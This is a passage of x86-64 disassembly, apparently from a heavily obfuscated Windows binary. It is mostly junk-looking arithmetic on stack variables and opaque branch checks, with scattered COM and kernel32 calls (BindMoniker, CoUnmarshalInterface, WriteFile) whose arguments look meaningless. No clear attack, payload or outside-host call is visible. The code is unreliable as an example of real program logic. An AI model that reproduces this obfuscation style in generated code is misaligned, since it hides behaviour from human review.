mov dword [rcx], eax
mov rax, qword [rsp + 0x4018]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8ec]
sub eax, 0x78d
mov word [rsp + 0x8f0], ax
movsx eax, byte [rsp + 0xfd]
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4130]
mov byte [rcx], al
movzx eax, byte [rsp + 0xfa]
movzx ecx, byte [rsp + 0xfe]
and eax, ecx
mov byte [rsp + 0xf9], al
cmp dword [rsp + 0x20e4], 0xa3f
ja 0x14005bc18
lea rax, [rsp + 0xfb]
mov qword [rsp + 0x4150], rax
mov rax, qword [rsp + 0x3f38]
mov rcx, qword [rsp + 0x3fe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
lea rax, [rsp + 0x3f98]
mov qword [rsp + 0x4158], rax
mov dword [rsp + 0x21a8], 0x3734
mov rax, qword [rsp + 0x3f98]
mov qword [rsp + 0x4160], rax
cmp qword [rsp + 0x4160], 0
je 0x14005c214
movabs rax, 0xeb1ff5546592b636
cmp qword [rsp + 0x4160], rax
je 0x140152d50
jmp 0x140152ddc
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
mov byte [rsp + 0x21ac], al
cmp byte [rsp + 0x21ac], 1
je 0x14005c235
jmp 0x14005c2c0
mov rax, qword [rsp + 0x40d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf9]
add eax, ecx
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
lea r8, [rsp + 0x8f0]
lea rdx, [rsp + 0x17e78]
lea rcx, [rsp + 0x20b8]
call qword [sym.imp.ole32.dll_CoUnmarshalInterface]
mov dword [rsp + 0x2178], eax
mov rax, qword [rsp + 0x3f98]
mov rcx, qword [rsp + 0x4078]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4010], rax
mov rax, qword [rsp + 0x4018]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
jmp 0x140152d1c
cmp dword [rsp + 0x2180], 0xccfb
ja 0x14005c712
mov eax, dword [rsp + 0x2180]
add eax, 0x86
mov dword [rsp + 0x2180], eax
mov eax, dword [rsp + 0x21a4]
mov ecx, dword [rsp + 0x2128]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2150], eax
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
movzx eax, word [rsp + 0x8f0]
sub eax, 0x287
mov word [rsp + 0x8ec], ax
movzx eax, byte [rsp + 0xfa]
movzx ecx, byte [rsp + 0xfc]
sub eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
movsx eax, byte [rsp + 0xfd]
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4130]
mov byte [rcx], al
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x40d0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xfa], al
mov rax, qword [rsp + 0x4150]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfb]
xor eax, ecx
mov rcx, qword [rsp + 0x4130]
mov byte [rcx], al
mov eax, dword [rsp + 0x20e8]
mov rcx, qword [rsp + 0x3fe0]
mov qword [rsp + 0x4168], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4168]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4070]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3fa8]
mov qword [rsp + 0x4170], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4170]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4010], rax
mov rax, qword [rsp + 0x4050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov rax, qword [rsp + 0x4018]
mov rcx, qword [rsp + 0x3fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
mov eax, dword [rsp + 0x21a4]
mov ecx, dword [rsp + 0x2128]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2150], eax
movzx eax, byte [rsp + 0xfe]
movzx ecx, byte [rsp + 0xf9]
and eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
mov rax, qword [rsp + 0x4018]
mov rcx, qword [rsp + 0x4058]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x40b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a78]
mov rcx, qword [rsp + 0x4090]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xfd]
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4130]
mov byte [rcx], al
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x40d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf9], al
mov eax, dword [rsp + 0x21a4]
mov ecx, dword [rsp + 0x2150]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2128], eax
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4010]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4070]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20a0]
mov rcx, qword [rsp + 0x3fe0]
mov qword [rsp + 0x4178], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4178]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x40b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x4150]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
shl eax, cl
mov rcx, qword [rsp + 0x4130]
mov byte [rcx], al
mov rax, qword [rsp + 0x4158]
mov rcx, qword [rsp + 0x4078]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4070]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8ec]
add eax, 0xe30
mov word [rsp + 0x8f0], ax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x20e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xfe]
mov rcx, qword [rsp + 0x4040]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2084]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20e8], eax
mov rax, qword [rsp + 0x4078]
mov rcx, qword [rsp + 0x4010]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3f98], rax
mov rax, qword [rsp + 0x4050]
mov ecx, dword [rsp + 0x21a0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov eax, dword [rsp + 0x2150]
mov ecx, dword [rsp + 0x2128]
sub ecx, eax
mov eax, ecx
mov dword [0x1401a0f90], eax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov rcx, qword [rsp + 0x4130]
mov byte [rcx], al
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4010]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4070]
mov qword [rcx], rax
mov rax, qword [rsp + 0x40d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfc]
sar eax, cl
mov byte [rsp + 0xfe], al
jmp 0x14005c2c0
movzx eax, byte [rsp + 0xfc]
mov byte [rsp + 0x21b0], al
cmp byte [rsp + 0x21b0], 8
je 0x14005c73e
cmp byte [rsp + 0x21b0], 0x40
je 0x14005c804
jmp 0x140152c07
movzx eax, word [rsp + 0x8ec]
add eax, 0x809
movzx ecx, word [rsp + 0x8f0]
cmp eax, ecx
jg 0x14005c759
jmp 0x14005c7d3
mov eax, dword [rsp + 0x21a0]
mov ecx, dword [rsp + 0x217c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20a0], eax
lea r9, [rsp + 0x3a78]
lea r8, [rsp + 0x17ed8]
mov edx, 0xe3
lea rcx, [rsp + 0x3f90]
call qword [sym.imp.ole32.dll_BindMoniker]
mov dword [rsp + 0x2134], eax
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4080]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
movzx eax, word [rsp + 0x8ec]
add eax, 0x2aa
mov word [rsp + 0x8f0], ax
mov rax, qword [rsp + 0x4158]
mov r9, qword [rax]
movzx r8d, word [rsp + 0x8f0]
mov edx, dword [rsp + 0x2084]
mov rax, qword [rsp + 0x4130]
movzx ecx, byte [rax]
call fcn.140153480
nop
jmp 0x140152c07
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
add eax, ecx
mov rcx, qword [rsp + 0x4150]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4130]
movsx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jge 0x14005c859
movsx eax, byte [rsp + 0xfb]
mov rcx, qword [rsp + 0x4130]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
jmp 0x14005c925
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0x7c]
shl eax, cl
mov rcx, qword [rsp + 0x4130]
movsx ecx, byte [rcx]
mov dword [rsp + 0x21b4], ecx
mov rdx, qword [rsp + 0x4150]
movsx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x21b4]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14005c925
mov rax, qword [rsp + 0x4150]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4130]
mov byte [rcx], al
lea rax, [rsp + 0x4010]
mov qword [rsp + 0x4180], rax
mov eax, dword [rsp + 0x2150]
mov ecx, dword [rsp + 0x2128]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x21a4], eax
mov rax, qword [rsp + 0x4050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x212c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
lea rax, [rsp + 0x4090]
mov qword [rsp + 0x4188], rax
lea rax, [rsp + 0x8f0]
mov qword [rsp + 0x4190], rax
movsx eax, word [rsp + 0x67c]
add eax, 0x78ae
mov word [rsp + 0x67c], ax
mov eax, dword [rsp + 0x217c]
mov dword [rsp + 0x21b8], eax
cmp dword [rsp + 0x21b8], 0
je 0x14005c957
jmp 0x140152b4b
mov rax, qword [rsp + 0x3fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2084]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4050]
mov rdx, qword [rsp + 0x3f38]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jae 0x14005cabe
lea r9, [rsp + 0x4198]
lea r8, [rsp + 0x17ed8]
mov edx, 0x81
lea rcx, [rsp + 0x41a0]
call qword [sym.imp.ole32.dll_BindMoniker]
mov dword [rsp + 0x21bc], eax
mov rax, qword [rsp + 0x3f38]
mov rcx, qword [rsp + 0x4050]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x21a0], eax
movsx eax, byte [rsp + 0xfb]
mov rcx, qword [rsp + 0x4150]
movsx ecx, byte [rcx]
xor eax, ecx
movsx ecx, byte [rsp + 0x7c]
mov dword [rsp + 0x21c0], ecx
movsx edx, byte [rsp + 0xfd]
movzx ecx, dl
mov edx, dword [rsp + 0x21c0]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14005ca7b
mov rax, qword [rsp + 0x3fd8]
mov rcx, qword [rsp + 0x4058]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4188]
mov qword [rcx], rax
lea r8, [rsp + 0x17e78]
mov rdx, qword [rsp + 0x41a8]
mov rcx, qword [rsp + 0x41b0]
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov dword [rsp + 0x21c4], eax
mov rax, qword [rsp + 0x4070]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3f98]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4158]
mov qword [rcx], rax
jmp 0x14005cabe
mov rax, qword [rsp + 0x4190]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8f0]
sar eax, cl
movzx ecx, word [rsp + 0x8ec]
cmp eax, ecx
jg 0x14005cabe
lea r8, [rsp + 0x4050]
mov edx, 0xaa
lea rcx, [rsp + 0x17f68]
call qword [sym.imp.ole32.dll_CoGetStdMarshalEx]
mov dword [rsp + 0x21c8], eax
mov rax, qword [rsp + 0x4130]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4150]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4130]
mov byte [rcx], al
mov rax, qword [rsp + 0x4190]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8ec]
sub eax, ecx
mov word [rsp + 0x8f0], ax
movzx eax, word [rsp + 0x8f0]
movzx ecx, word [rsp + 0x8ec]
sub eax, ecx
mov rcx, qword [rsp + 0x4190]
mov word [rcx], ax
movzx eax, byte [rsp + 0xfa]
movzx ecx, byte [rsp + 0xf9]
add eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
mov eax, dword [rsp + 0x21a8]
sub eax, 0xb9
mov dword [rsp + 0x21a8], eax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4150]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x4050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20e8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4070]
mov rcx, qword [rsp + 0x3f98]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4010], rax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x212c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x217c], eax
mov rax, qword [rsp + 0x4018]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4090]
shl rax, cl
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x40b8]
mov rcx, qword [rsp + 0x3fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfe]
sar eax, cl
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
mov eax, dword [rsp + 0x20e8]
mov ecx, dword [rsp + 0x209c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4018]
mov rcx, qword [rsp + 0x40b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0xfb]
sub eax, ecx
mov rcx, qword [rsp + 0x4150]
mov byte [rcx], al
mov rax, qword [rsp + 0x4090]
mov rcx, qword [rsp + 0x3a78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4158]
mov rcx, qword [rsp + 0x3f98]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4010], rax
movsx eax, byte [rsp + 0xfb]
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4150]
mov byte [rcx], al
mov rax, qword [rsp + 0x4050]
mov rcx, qword [rsp + 0x3f38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4190]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8ec]
add eax, ecx
mov rcx, qword [rsp + 0x4190]
mov word [rcx], ax
mov rax, qword [rsp + 0x4190]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8f0]
sub eax, ecx
mov word [rsp + 0x8ec], ax
cmp dword [rsp + 0x21a8], 0x101
ja 0x14005cabe
mov eax, dword [rsp + 0x2150]
mov ecx, dword [rsp + 0x21a4]
add ecx, eax
mov eax, ecx
mov ecx, dword [0x1401a0f90]
mov edx, dword [rsp + 0x2128]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14005ce87
mov rax, qword [rsp + 0x4130]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
add eax, ecx
mov byte [rsp + 0xfb], al
mov eax, dword [rsp + 0x212c]
mov rcx, qword [rsp + 0x3fe0]
mov qword [rsp + 0x41b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x41b8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3f38]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x4050]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14005ce87
mov rax, qword [rsp + 0x40d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf9]
or eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
mov rax, qword [rsp + 0x4050]
mov eax, dword [rax]
mov dword [rsp + 0x21cc], eax
cmp dword [rsp + 0x21cc], 0x45c7ad5d
je 0x14005ce26
cmp dword [rsp + 0x21cc], 0x8c06693d
je 0x14005ce4f
jmp 0x14005ce87
mov r9d, dword [rsp + 0x21a4]
movzx r8d, word [rsp + 0x67c]
movzx edx, byte [rsp + 0xfd]
movzx ecx, word [rsp + 0x67c]
call fcn.140154120
nop
jmp 0x14005ce87
lea rax, [rsp + 0x17f68]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x40c0]
mov r8d, 0x95
lea rdx, [rsp + 0x4010]
mov rcx, qword [rsp + 0x41c0]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rsp + 0x20b8], eax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4078]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3f98], rax
mov eax, dword [rsp + 0x20e8]
mov ecx, dword [rsp + 0x209c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x21a4]
mov ecx, dword [rsp + 0x2150]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2128], eax
mov rax, qword [rsp + 0x4090]
mov rcx, qword [rsp + 0x3a78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8f0]
movzx ecx, word [rsp + 0x8ec]
add eax, ecx
mov rcx, qword [rsp + 0x4190]
mov word [rcx], ax
mov rax, qword [rsp + 0x3f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x40b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x40d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4080]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
movsx eax, byte [rsp + 0xfb]
mov rcx, qword [rsp + 0x4150]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
movsx eax, word [rsp + 0x67c]
add eax, 0x67b
mov word [rsp + 0x67c], ax
mov eax, dword [rsp + 0x2084]
mov rcx, qword [rsp + 0x3f38]
mov qword [rsp + 0x41c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x41c8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x20a0], eax
mov rax, qword [rsp + 0x4078]
mov rcx, qword [rsp + 0x3f98]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4070]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a78]
movzx ecx, al
mov rax, qword [rsp + 0x4090]
sar rax, cl
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x40b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4130]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4150]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x4190]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8f0]
sub eax, ecx
mov word [rsp + 0x8ec], ax
movzx eax, byte [rsp + 0xf9]
mov rcx, qword [rsp + 0x4080]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfa], al
mov rax, qword [rsp + 0x4150]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4130]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4150]
mov byte [rcx], al
movzx eax, word [rsp + 0x8f0]
movzx ecx, word [rsp + 0x8ec]
sub eax, ecx
mov rcx, qword [rsp + 0x4190]
mov word [rcx], ax
mov rax, qword [rsp + 0x3fe0]
mov rcx, qword [rsp + 0x4050]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4180]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4158]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4188]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4090], rax
mov eax, dword [rsp + 0x2188]
add eax, 0x3a
mov dword [rsp + 0x2188], eax
mov eax, dword [rsp + 0x21a4]
mov ecx, dword [rsp + 0x2150]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2128], eax
mov rax, qword [rsp + 0x4130]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
add eax, ecx
mov rcx, qword [rsp + 0x4130]
mov byte [rcx], al
movzx eax, byte [rsp + 0xf9]
mov rcx, qword [rsp + 0x4040]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
mov rax, qword [rsp + 0x40d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfe]
xor eax, ecx
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
movsx eax, word [rsp + 0x67c]
or eax, 0x5a18
mov word [rsp + 0x67c], ax
movzx eax, word [rsp + 0x8f0]
mov rcx, qword [rsp + 0x4190]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x40d0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
mov rax, qword [rsp + 0x3fe0]
mov rcx, qword [rsp + 0x4050]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x209c], eax
mov rax, qword [rsp + 0x4070]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4078]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4010], rax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4090], rax
mov rax, qword [rsp + 0x4070]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4010]
add rcx, rax
mov rax, rcx
mov qword [0x1401a0008], rax
movzx eax, byte [rsp + 0xfc]
movzx ecx, byte [rsp + 0xfa]
add eax, ecx
mov byte [rsp + 0xf9], al
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4130]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0xfb]
add eax, ecx
mov rcx, qword [rsp + 0x4150]
mov byte [rcx], al
movzx eax, byte [rsp + 0xfe]
mov rcx, qword [rsp + 0x4040]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xfc], al
mov rax, qword [rsp + 0x4158]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4010]
shl rax, cl
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3a78]
mov rcx, qword [rsp + 0x3fd8]
mov qword [rsp + 0x41d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x41d0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20a0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4018]
mov rcx, qword [rsp + 0x3f90]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4150]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
and eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x4190]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8ec]
add eax, ecx
mov rcx, qword [rsp + 0x4190]
mov word [rcx], ax
cmp dword [rsp + 0x2188], 0xf3bc
jne 0x14005ce87
lea rax, [rsp + 0x67c]
mov qword [rsp + 0x41d8], rax
cmp dword [rsp + 0x218c], 0xe462
jbe 0x14005d604
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4130]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4150]
mov byte [rcx], al
mov rax, qword [rsp + 0x41d8]
movsx eax, word [rax]
sub eax, 0x2279
mov word [rsp + 0x67c], ax
mov rax, qword [rsp + 0x4058]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4090], rax
mov rax, qword [rsp + 0x4050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x40b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4070]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4010]
and rcx, rax
mov rax, rcx
mov qword [0x1401a0008], rax
movzx eax, word [rsp + 0x8ec]
movzx ecx, word [rsp + 0x8f0]
sub eax, ecx
mov rcx, qword [rsp + 0x4190]
mov word [rcx], ax
movsx eax, byte [rsp + 0x7c]
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xfb], al
movzx eax, word [rsp + 0x8ec]
movzx ecx, word [rsp + 0x8f0]
or eax, ecx
mov rcx, qword [rsp + 0x4190]
mov word [rcx], ax
mov eax, dword [rsp + 0x218c]
sub eax, 0x5b
mov dword [rsp + 0x218c], eax
movsx eax, word [rsp + 0x67c]
shl eax, 9
mov rcx, qword [rsp + 0x41d8]
mov word [rcx], ax
